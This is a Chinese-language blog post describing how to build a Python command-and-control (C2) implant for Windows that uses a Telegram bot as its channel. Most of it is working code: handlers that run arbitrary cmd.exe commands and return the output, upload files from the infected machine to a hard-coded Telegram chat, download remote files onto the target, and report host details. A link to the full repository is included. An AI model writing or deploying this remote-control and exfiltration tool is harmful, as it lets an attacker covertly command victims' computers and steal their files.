Telegram做C2?

  1. 前言
  2. 选择环境
  3. 创建一个Bot
  4. 编写程序

前言

看到某位师傅写了个Tg的C2,看起来不错打算自己也来操作一波

img

单方面缺点:一个bot只能开一次,多开409(冲突)

选择环境

Tg官方给出了很多语言的API模块,看你选择哪个

Telegram Bots

image

我这里用的是python开发的,用的模块是

image

README.md给出的说明:Telegram API->README.md

image

最后定下来的环境:

version:python3.7
modules:requests,pyTelegramBotAPI
os:windows

c2针对的系统

os:windows

创建一个Bot

登录Tg

访问https://telegram.me/botfather

添加BotFather为联系人(BotFather用来创建和管理自定义bot)

发送/newbot,输入用户名和Bot的名称即可完成创建一个bot

创建完成后,你会得到你新建bot的token

N(%V~P0N$PW23(RF4VN6UL3

然后添加你新建的机器人,直接搜索添加就好

æ·»åŠ ä½ çš„æœºå™¨äºº

编写程序

整体的交互流程如图:

(画图较丑,见谅)

image

首先tg的API模块给出了很多封装的函数(装饰器),用于处理接收、发送、文件上传、文件下载

PS:建议看一下API文档在来看

制定一条命令,当attack执行了该指令的时候执行对应的操作与处理无效指令

import telebot

bot = telebot.TeleBot("TOKEN")
@bot.message_handler(commands=['start', 'help'])
def send_welcome(message):
    bot.reply_to(message, "demo") #获取消息句柄,返回对应消息
@bot.message_handler(func=lambda message: True)
def echo_all(message):
    bot.reply_to(message, message.text) #返回输入无效的指令
bot.polling() #运行bot

image

然后构造各个指令对应的函数

@bot.message_handler(commands=['help'])
def send_welcome(message):
    bot.reply_to(message,'/cmd [token] [command] -- 执行cmd命令\n/computer -- 查看主机信息\n/upload [token] [filepath] -- 上传机器的文件到tg\n/download [token] [fileptah] -- 下载远程文件到目标机器\n/help [token] -- 帮助信息')

@bot.message_handler(commands=['computer'])
def commputer(message):
    bot.reply_to(message,'主机信息:')
    jg='name:{} ID:{} {}'.format(str(hostname).lstrip().rstrip().replace('\n',''),LD[0],IPS[0])
    bot.reply_to(message,jg)

@bot.message_handler(regexp="[/]cmd [0-9-a-z]{32} .*") #当返回的内容正则能匹配成功后执行以下
def handle_message(message):
    command=str(message.text).replace('/cmd','').strip().lstrip()
    ken=re.findall('[0-9-a-z]{32}',command)
    if ken[0]==LD[0]:
        commands=re.subn("[0-9-a-z]{32}","",command)
        cmd=str(commands[0]).lstrip().rstrip()
        jg=os.popen('cmd.exe /c {}'.format(cmd)).read()
        splitted_text=util.split_string(jg,3000)
        for text in splitted_text:
            bot.reply_to(message,text)

@bot.message_handler(regexp="[/]upload [0-9-a-z]{32} .*")
def upload(message):
    command=str(message.text).replace('/upload','').strip().lstrip()
    ken=re.findall('[0-9-a-z]{32}',command)
    if ken[0]==LD[0]:
        commands=re.subn("[0-9-a-z]{32}","",command)
        path=str(commands[0]).lstrip().rstrip()
        file_name=str(path).split('\\')[-1]
        try:
            file=open(path,'rb')
            bot.send_document(631202355,file,caption=file_name)
        except:
            pass
            bot.send_message(631202355,'没有:{}这个文件'.format(path))

@bot.message_handler(regexp="[/]download [0-9-a-z]{32} .*")
def download(message):
  command = str(message.text).replace('/download', '').strip().lstrip()
  ken = re.findall('[0-9-a-z]{32}', command)
  if ken[0] == LD[0]:
    url=re.subn("[0-9-a-z]{32}", "", command)
    try:
        file_name=str(url[0].split('/')[-1])
        dk=open(file_name,'wb')
        rqt=requests.get(url=str(url[0]).lstrip().rstrip(),headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'},timeout=30)
        print(rqt.status_code)
        dk.write(rqt.content)
        dk.close()
        if os.path.exists(file_name):
            bot.send_message(631202355,'文件:{} download 成功!'.format(file_name))
        else:
            bot.send_message(631202355, '文件:{} download 失败!'.format(file_name))
    except Exception as r:
        bot.send_message(631202355,'Error:{}'.format(r))

这里对应指令

指令:/help,/cmd,/upload,/download,/computer

PS:我原本打算用Tg控制多个bot的,所以写了生成token这个操作,后面发生409(请求冲突问题)。Google一堆也没解决方案,就没去改他了

完整代码->仓库地址:Tg_C&C)

测试结果:

QQ��20190820183651

QQ��20190820183708

QQ��20190820183630

QQ��20190820183643

GIF

GIF


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Telegram做C2?

本文作者:九世

发布时间:2019-08-20, 20:02:31

最后更新:2019-08-20, 21:04:23

原始链接:http://422926799.github.io/posts/da6d6ea3.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录